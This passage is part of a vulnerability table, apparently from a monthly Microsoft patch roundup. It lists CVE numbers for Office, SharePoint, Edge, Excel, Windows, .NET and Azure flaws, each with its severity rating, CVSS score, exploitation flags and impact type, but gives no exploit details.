7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  